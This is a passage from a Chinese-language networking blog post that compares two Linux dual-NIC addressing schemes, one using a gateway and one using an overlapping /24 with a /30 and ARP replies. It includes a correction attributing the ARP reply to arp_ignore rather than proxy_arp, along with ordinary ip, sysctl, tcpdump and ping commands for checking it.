    dst = 192.168.1.10

TCP:
    src port = random
    dst port = 80
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：ARP 解决的是「下一跳 IP 对应哪个 MAC」，并不负责决定 IP 数据包最终应该去哪里——IP 路由已经在前面决定好了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;server-shou-dao-shu-ju-bao-zhi-hou&quot;&gt;Server 收到数据包之后&lt;&#x2F;h2&gt;
&lt;p&gt;Server eth1 收到 &lt;code&gt;src = 192.168.100.2, dst = 192.168.1.10&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;很多人会认为 &lt;code&gt;eth1 → eth0&lt;&#x2F;code&gt; 所以必须开启 IP forwarding，实际上&lt;strong&gt;不需要&lt;&#x2F;strong&gt;。因为 &lt;code&gt;192.168.1.10&lt;&#x2F;code&gt; 是 Server 自己的 IP，Linux 发现目标属于本机后直接交给本机协议栈：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;eth1
  │
  ▼
Linux IP stack
  │
  ▼
发现目标 IP 是本机地址
  │
  ▼
TCP
  │
  ▼
192.168.1.10:80
  │
  ▼
HTTP Server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里不是 &lt;code&gt;eth1 → routing → eth0&lt;&#x2F;code&gt;，而是 &lt;code&gt;eth1 → 本机协议栈 → HTTP Server&lt;&#x2F;code&gt;。因此访问 Server 自己的服务时，&lt;code&gt;net.ipv4.ip_forward&lt;&#x2F;code&gt; 不需要开启。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;server-de-hui-bao&quot;&gt;Server 的回包&lt;&#x2F;h2&gt;
&lt;p&gt;HTTP Server 回复 &lt;code&gt;src = 192.168.1.10, dst = 192.168.100.2&lt;&#x2F;code&gt;，Server 查路由：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;192.168.100.0&amp;#x2F;24 dev eth1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;于是回包从 eth1 发出，直接到达 Device。完整 TCP 流程：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Device                         Server
192.168.100.2                  eth1: 192.168.100.1
      │                              │
      │ TCP SYN                      │
      │ dst=192.168.1.10:80          │
      ├─────────────────────────────&amp;gt;│
      │                              │
      │                         HTTP Server
      │                              │
      │ TCP SYN&amp;#x2F;ACK                  │
      │&amp;lt;─────────────────────────────┤
      │                              │
      │ TCP ACK                      │
      ├─────────────────────────────&amp;gt;│
      │                              │
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fang-an-yi-de-te-dian&quot;&gt;方案一的特点&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;两块 Server 网卡使用不同网段；&lt;&#x2F;li&gt;
&lt;li&gt;Device 有明确的默认网关；&lt;&#x2F;li&gt;
&lt;li&gt;不需要任何 ARP 代答机制；&lt;&#x2F;li&gt;
&lt;li&gt;网络拓扑清晰，非常符合传统 IP 网络设计。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;fang-an-er-tong-yi-ge-di-zhi-kong-jian-30-jing-que-wang-luo-arp-dai-da&quot;&gt;方案二：同一个地址空间 + &#x2F;30 精确网络 + ARP 代答&lt;&#x2F;h1&gt;
&lt;p&gt;第二种方案：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Server:
  eth0 = 192.168.1.10&amp;#x2F;24
  eth1 = 192.168.1.101&amp;#x2F;30

Device:
  192.168.1.102&amp;#x2F;24
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;拓扑：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;                         Server
                  ┌──────────────────┐
                  │                  │
LAN ──────────────┤ eth0             │
                  │ 192.168.1.10&amp;#x2F;24  │
                  │                  │
                  │ eth1             │
                  │ 192.168.1.101&amp;#x2F;30 │
                  └────────┬─────────┘
                           │
                           │ Ethernet
                           │
                    192.168.1.102&amp;#x2F;24
                         Device
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个方案看起来很奇怪：为什么让 eth0 和 Device 处在同一个 &lt;code&gt;&#x2F;24&lt;&#x2F;code&gt; 里？&lt;&#x2F;p&gt;
&lt;p&gt;核心目的就是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;让 Device 认为 &lt;code&gt;192.168.1.10&lt;&#x2F;code&gt; 和自己处于同一个 &lt;code&gt;&#x2F;24&lt;&#x2F;code&gt; 网络，从而不需要配置 Gateway 或静态路由。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;而 Server 又通过 eth1 的 &lt;code&gt;&#x2F;30&lt;&#x2F;code&gt; 形成一个非常小、更加精确的直连网络：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Server eth1              Device
192.168.1.101 ───────── 192.168.1.102
       \                    &amp;#x2F;
        \──── &amp;#x2F;30 ─────────&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;wei-shen-me-eth1-shi-yong-30&quot;&gt;为什么 eth1 使用 &#x2F;30？&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;192.168.1.101&#x2F;30&lt;&#x2F;code&gt; 对应的网络是 &lt;code&gt;192.168.1.100&#x2F;30&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;192.168.1.100  network
192.168.1.101  Server
192.168.1.102  Device
192.168.1.103  broadcast
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是点对点链路中 &lt;code&gt;&#x2F;30&lt;&#x2F;code&gt; 的经典用法。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;server-de-lu-you-biao-yu-zui-chang-qian-zhui-pi-pei&quot;&gt;Server 的路由表与最长前缀匹配&lt;&#x2F;h2&gt;
&lt;p&gt;Server 同时拥有：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;192.168.1.0&amp;#x2F;24 dev eth0
192.168.1.100&amp;#x2F;30 dev eth1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;两个网络存在包含关系：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;192.168.1.0&amp;#x2F;24
└─────────────────────────────────────┐
                                      │
                    192.168.1.100&amp;#x2F;30 │
                    └──────────────┐  │
                    .100 .101 .102 .103
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当 Server 访问 &lt;code&gt;192.168.1.102&lt;&#x2F;code&gt; 时，两个路由都能匹配，但 &lt;code&gt;&#x2F;30&lt;&#x2F;code&gt; 比 &lt;code&gt;&#x2F;24&lt;&#x2F;code&gt; 更具体，按 &lt;strong&gt;Longest Prefix Match（最长前缀匹配）&lt;&#x2F;strong&gt; 选择：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Server 192.168.1.10
      │
      │ dst = 192.168.1.102
      ▼
Longest Prefix Match
      │
      ▼
192.168.1.100&amp;#x2F;30 dev eth1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这就是 &lt;code&gt;&#x2F;30&lt;&#x2F;code&gt; 在这个设计里的作用：&lt;strong&gt;让 Server 到 Device 的回程明确走 eth1&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;device-wei-shen-me-ke-yi-zhi-jie-fang-wen-192-168-1-10&quot;&gt;Device 为什么可以直接访问 192.168.1.10？&lt;&#x2F;h2&gt;
&lt;p&gt;因为 Device 配置的是 &lt;code&gt;192.168.1.102&#x2F;24&lt;&#x2F;code&gt; 而不是 &lt;code&gt;&#x2F;30&lt;&#x2F;code&gt;，它认为 &lt;code&gt;192.168.1.0&#x2F;24&lt;&#x2F;code&gt; 是自己的本地网络，&lt;code&gt;192.168.1.10&lt;&#x2F;code&gt; 属于其中。所以它不找 Gateway、不查静态路由，而是直接 ARP：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Who has 192.168.1.10?
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;kan-wu-dai-da-arp-de-qi-shi-bu-shi-proxy-arp&quot;&gt;勘误：代答 ARP 的其实不是 proxy_arp&lt;&#x2F;h2&gt;
&lt;p&gt;本文最初的解释是「在 eth1 上开 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt;，Server 就会替 &lt;code&gt;192.168.1.10&lt;&#x2F;code&gt; 回答 ARP」——这是同类教程里非常常见的一种说法，核对内核实际行为、并在隔离 netns 中实测复核后发现并不成立：&lt;strong&gt;目标 IP 就是 Server 本机地址（&lt;code&gt;.10&lt;&#x2F;code&gt; 配在 eth0 上）时，代答与 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt; 无关&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wu-qu-shi-zen-me-lai-de&quot;&gt;误区是怎么来的&lt;&#x2F;h3&gt;
&lt;p&gt;方案二确实能通，而 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt; 又经常出现在同类方案里，于是「能通」被归因给了这个开关。实际上：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;默认配置（&lt;code&gt;arp_ignore=0&lt;&#x2F;code&gt;、&lt;code&gt;proxy_arp=0&lt;&#x2F;code&gt;）方案二就能工作；&lt;&#x2F;li&gt;
&lt;li&gt;开了 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt; 后再验证，看到的「通了」并不是它的功劳——把 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt; 关掉、清一次 ARP 缓存，照样通。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这种「先动手、后归因」的顺序很容易制造错误的因果：&lt;strong&gt;开关打开时网络是通的，不等于这个开关是通的必要条件。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;nei-he-shi-ji-zen-me-chu-li&quot;&gt;内核实际怎么处理&lt;&#x2F;h3&gt;
&lt;p&gt;Linux 收到 ARP 请求后，先判断目标 IP 是不是本机地址：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目标是本机地址&lt;&#x2F;strong&gt;（路由类型 &lt;code&gt;RTN_LOCAL&lt;&#x2F;code&gt;，&lt;code&gt;.10&lt;&#x2F;code&gt; 属于本机）→ 是否应答由 &lt;code&gt;arp_ignore&lt;&#x2F;code&gt; 决定：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;arp_ignore=0&lt;&#x2F;code&gt;（默认）：&lt;strong&gt;本机在任何接口上的地址，都会在任意入接口上应答&lt;&#x2F;strong&gt;——这就是著名的 &lt;strong&gt;ARP flux&lt;&#x2F;strong&gt;。所以 eth1 收到「谁是 &lt;code&gt;.10&lt;&#x2F;code&gt;」时会直接用 eth1 的 MAC 应答；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;arp_ignore=1&lt;&#x2F;code&gt;：只有目标 IP 就配置在入接口上才应答。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;目标不是本机地址&lt;&#x2F;strong&gt;（需要经其他接口路由过去）→ 才轮到 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt;：Server 以自己的 MAC 替该地址应答，并且这个分支还要求 &lt;code&gt;ip_forward=1&lt;&#x2F;code&gt;（proxy ARP 本质上是转发的配套行为）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;由此还能得到两个反直觉的结论：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;做过 ARP 硬化的机器（&lt;code&gt;arp_ignore=1&lt;&#x2F;code&gt;）方案二会失效，且 &lt;code&gt;proxy_arp=1&lt;&#x2F;code&gt; &lt;strong&gt;也救不回来&lt;&#x2F;strong&gt;——因为目标 IP 是本机地址，根本不会走到 proxy ARP 分支；&lt;&#x2F;li&gt;
&lt;li&gt;只有「HTTP 服务实际在 Server 后面的另一台主机上」这种目标 IP 非本机的场景，&lt;code&gt;proxy_arp=1&lt;&#x2F;code&gt; + &lt;code&gt;ip_forward=1&lt;&#x2F;code&gt; 才是必需的。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;yi-ju-hua-pan-ding&quot;&gt;一句话判定&lt;&#x2F;h3&gt;
&lt;p&gt;判断一个场景到底需不需要 proxy_arp，只看目标 IP：&lt;strong&gt;目标是本机地址 → 看 &lt;code&gt;arp_ignore&lt;&#x2F;code&gt;；目标不是本机地址 → 才看 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt; + &lt;code&gt;ip_forward&lt;&#x2F;code&gt;。&lt;&#x2F;strong&gt; 文末「如何验证方案二」里给出了可复现的判定实验。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;注：proxy ARP 并不是把 ARP 广播从 eth1 转发到 eth0，而是 Server 自己代替目标 IP 回答 ARP。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;proxy-arp-zhen-zheng-yong-zai-na&quot;&gt;proxy_arp 真正用在哪&lt;&#x2F;h3&gt;
&lt;p&gt;既然目标为本机地址时轮不到 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt;，那它到底解决什么问题？它解决的是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;发送方认为目标和自己同一子网、直接 ARP 目标 IP，但 ARP 广播到不了目标，而代理主机能路由到目标。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Linux 上的完整触发链：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;入接口收到 ARP 请求；&lt;&#x2F;li&gt;
&lt;li&gt;目标 IP &lt;strong&gt;不是&lt;&#x2F;strong&gt;本机地址（是本机地址就走 &lt;code&gt;arp_ignore&lt;&#x2F;code&gt; 那条分支，见上文勘误）；&lt;&#x2F;li&gt;
&lt;li&gt;入接口 &lt;code&gt;proxy_arp=1&lt;&#x2F;code&gt;，并且处于转发状态（通常即 &lt;code&gt;ip_forward=1&lt;&#x2F;code&gt;）——实测把 &lt;code&gt;ip_forward&lt;&#x2F;code&gt; 关掉后，&lt;code&gt;proxy_arp=1&lt;&#x2F;code&gt; 也不再代答，所以「只开 proxy_arp」是不够的；&lt;&#x2F;li&gt;
&lt;li&gt;本机路由表能到达目标（目标若就在入接口的二层网段上，本来就会由目标自己应答，不需要代答）；&lt;&#x2F;li&gt;
&lt;li&gt;本机用自己的 MAC 替目标应答，发送方把帧发给本机，之后由数据面转发到目标。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;真实场景：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;同一网段被拆到两个物理网段&lt;&#x2F;strong&gt;：经典 proxy ARP（RFC 1027）。两边主机以为对方在本地，中间路由器在两侧接口分别代答；思科路由器默认开启 proxy ARP，老网络里很常见；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;VPN 客户端与内网同网段&lt;&#x2F;strong&gt;：办公室 LAN 是 &lt;code&gt;192.168.1.0&#x2F;24&lt;&#x2F;code&gt;，VPN 客户端也拿到 &lt;code&gt;192.168.1.200&lt;&#x2F;code&gt;，但不在同一广播域；VPN 服务器在 LAN 接口代答 &lt;code&gt;.200&lt;&#x2F;code&gt;，LAN 主机的流量先到服务器、再走隧道；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;移动 IP 的家乡代理&lt;&#x2F;strong&gt;：移动节点离开家乡网络后，家乡代理替它的家乡地址应答，家乡 LAN 的主机仍然以为它在本地；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;容器&#x2F;虚拟机网络&lt;&#x2F;strong&gt;：Pod&#x2F;VM 互认为同子网、直接 ARP 对端，宿主机或 CNI 组件在相应接口代答，把流量拉进来再转发。本博客 &lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;07&#x2F;virtualization&#x2F;&quot;&gt;QEMU 虚拟化笔记&lt;&#x2F;a&gt;里「VM 用 &lt;code&gt;&#x2F;32&lt;&#x2F;code&gt; 地址 + 宿主 wlan0 开 &lt;code&gt;proxy_arp&lt;&#x2F;code&gt;」就是这类用法；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;PVLAN &#x2F; 端口隔离&lt;&#x2F;strong&gt;：同一接口下互相隔离的域要互通时，&lt;code&gt;proxy_arp_pvlan&lt;&#x2F;code&gt; 让隔离域内的 ARP 由代理代答；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;网络迁移&#x2F;合并过渡期&lt;&#x2F;strong&gt;：临时维持连通，避免立刻修改所有主机的配置。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这些场景的共同点是：&lt;strong&gt;发送方都「以为目标在本地」，且没有（或不能用）正确的网关&lt;&#x2F;strong&gt;。如果发送方正确配置了默认网关，跨网段时它 ARP 的是网关而不是目标，根本不会触发 proxy_arp。&lt;&#x2F;p&gt;
&lt;p&gt;现代网络里它很少被主动使用：proxy_arp 本质上是「合法 ARP 欺骗」，有中间人风险，还会带来 ARP 表膨胀、拓扑不透明、排查困难等问题。能用网关、路由协议、隧道或桥接解决时，都不该用它兜底。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wan-zheng-shu-ju-liu&quot;&gt;完整数据流&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Device                              Server
  │                                    │
  │ ARP: Who has 192.168.1.10?         │
  ├───────────────────────────────────&amp;gt;│
  │                                    │
  │ ARP Reply: .10 is-at eth1 MAC      │
  │ （arp_ignore=0 的默认行为）         │
  │&amp;lt;───────────────────────────────────┤
  │                                    │
  │ TCP SYN                            │
  │ dst=.10:80                         │
  ├───────────────────────────────────&amp;gt;│
  │                                    │
  │                         HTTP Server│
  │                                    │
  │ TCP SYN&amp;#x2F;ACK                        │
  │&amp;lt;───────────────────────────────────┤
  │                                    │
  │ TCP ACK                            │
  ├───────────────────────────────────&amp;gt;│
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Server 收到 &lt;code&gt;dst = 192.168.1.10&lt;&#x2F;code&gt; 后同样不需要 forwarding（目标是本机地址），直接交给本机 HTTP 服务；回包 &lt;code&gt;src = 192.168.1.10, dst = 192.168.1.102&lt;&#x2F;code&gt; 经最长前缀匹配走 &lt;code&gt;&#x2F;30&lt;&#x2F;code&gt; 的 eth1 回到 Device。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;liang-chong-fang-an-de-he-xin-qu-bie&quot;&gt;两种方案的核心区别&lt;&#x2F;h1&gt;
&lt;p&gt;两种方案最终都实现 &lt;code&gt;Device → Server 192.168.1.10:80&lt;&#x2F;code&gt;，但 Device 到 Server 的「第一跳」完全不同。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-an-yi&quot;&gt;方案一&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Device 192.168.100.2&amp;#x2F;24
      │
      │ 目标不在本地网段
      ▼
Default Gateway 192.168.100.1
      │
      ▼
Server eth1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;核心：&lt;strong&gt;IP Routing&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-an-er&quot;&gt;方案二&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Device 192.168.1.102&amp;#x2F;24
      │
      │ 目标在本地网段（自认为）
      ▼
ARP
      │
      ▼
Server eth1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Device 以为 &lt;code&gt;.10&lt;&#x2F;code&gt; 就在本地网段，直接 ARP；Server 侧靠默认的 &lt;code&gt;arp_ignore=0&lt;&#x2F;code&gt; 代答，回包再靠最长前缀匹配走 &lt;code&gt;&#x2F;30&lt;&#x2F;code&gt; 的 eth1。&lt;&#x2F;p&gt;
&lt;p&gt;核心：&lt;strong&gt;同网段 ARP 代答 + 精确路由&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;liang-chong-fang-an-dui-bi&quot;&gt;两种方案对比&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;方案一&lt;&#x2F;th&gt;&lt;th&gt;方案二&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Server eth0&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;192.168.1.10&#x2F;24&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;192.168.1.10&#x2F;24&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Server eth1&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;192.168.100.1&#x2F;24&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;192.168.1.101&#x2F;30&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Device&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;192.168.100.2&#x2F;24&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;192.168.1.102&#x2F;24&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Device Gateway&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;192.168.100.1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;不需要&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Device 静态路由&lt;&#x2F;td&gt;&lt;td&gt;不需要额外路由&lt;&#x2F;td&gt;&lt;td&gt;不需要&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ARP 代答&lt;&#x2F;td&gt;&lt;td&gt;不需要&lt;&#x2F;td&gt;&lt;td&gt;需要（默认 &lt;code&gt;arp_ignore=0&lt;&#x2F;code&gt; 即可）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;proxy_arp&lt;&#x2F;td&gt;&lt;td&gt;不需要&lt;&#x2F;td&gt;&lt;td&gt;也不需要（目标为本机地址）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Device 访问 &lt;code&gt;.10&lt;&#x2F;code&gt; 的方式&lt;&#x2F;td&gt;&lt;td&gt;通过 Gateway&lt;&#x2F;td&gt;&lt;td&gt;直接 ARP&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Server 回 Device&lt;&#x2F;td&gt;&lt;td&gt;eth1 的 &lt;code&gt;&#x2F;24&lt;&#x2F;code&gt; 路由&lt;&#x2F;td&gt;&lt;td&gt;eth1 的 &lt;code&gt;&#x2F;30&lt;&#x2F;code&gt; 更具体路由&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;两个接口地址空间&lt;&#x2F;td&gt;&lt;td&gt;不重叠&lt;&#x2F;td&gt;&lt;td&gt;有重叠&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;网络模型&lt;&#x2F;td&gt;&lt;td&gt;标准三层路由&lt;&#x2F;td&gt;&lt;td&gt;同网段 ARP 代答 + 精确路由&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置复杂度&lt;&#x2F;td&gt;&lt;td&gt;较低&lt;&#x2F;td&gt;&lt;td&gt;较高，且依赖默认 ARP 行为&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;ru-he-yan-zheng-fang-an-er&quot;&gt;如何验证方案二&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;cha-kan-lu-you-yu-zui-chang-qian-zhui-pi-pei&quot;&gt;查看路由与最长前缀匹配&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip route
# 192.168.1.0&amp;#x2F;24 dev eth0
# 192.168.1.100&amp;#x2F;30 dev eth1

ip route get 192.168.1.102
# 192.168.1.102 dev eth1 src 192.168.1.101
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;ip route get&lt;&#x2F;code&gt; 是验证 &lt;code&gt;&#x2F;30&lt;&#x2F;code&gt; 优先于 &lt;code&gt;&#x2F;24&lt;&#x2F;code&gt; 最直接的方法。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cha-kan-arp-xiang-guan-can-shu&quot;&gt;查看 ARP 相关参数&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sysctl net.ipv4.conf.eth1.arp_ignore   # 默认 0
sysctl net.ipv4.conf.eth1.proxy_arp    # 默认 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zhua-arp&quot;&gt;抓 ARP&lt;&#x2F;h2&gt;
&lt;p&gt;Server 上：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo tcpdump -ni eth1 arp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Device 上 ping：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ping 192.168.1.10
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;ARP, Request who-has 192.168.1.10 tell 192.168.1.102
ARP, Reply 192.168.1.10 is-at &amp;lt;Server eth1 MAC&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这可以直接证明 &lt;code&gt;Device → eth1 → ARP 代答&lt;&#x2F;code&gt; 这条路径成立。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fu-xian-kan-wu-zheng-ming-dai-da-yu-proxy-arp-wu-guan&quot;&gt;复现勘误：证明代答与 proxy_arp 无关&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. Server 上确认 proxy_arp 是关的（默认就是 0）
sysctl net.ipv4.conf.eth1.proxy_arp

# 2. Device 上清掉 ARP 缓存再试，依然能通
ip neigh del 192.168.1.10 dev ethX
ping -c 1 192.168.1.10

# 3. 反证：把 arp_ignore 改成 1，代答立即消失
sudo sysctl -w net.ipv4.conf.eth1.arp_ignore=1
# Device 上再清一次缓存
ip neigh del 192.168.1.10 dev ethX
ping -c 1 192.168.1.10        # 不通：ARP 无人应答

# 4. 实验完恢复默认
sudo sysctl -w net.ipv4.conf.eth1.arp_ignore=0
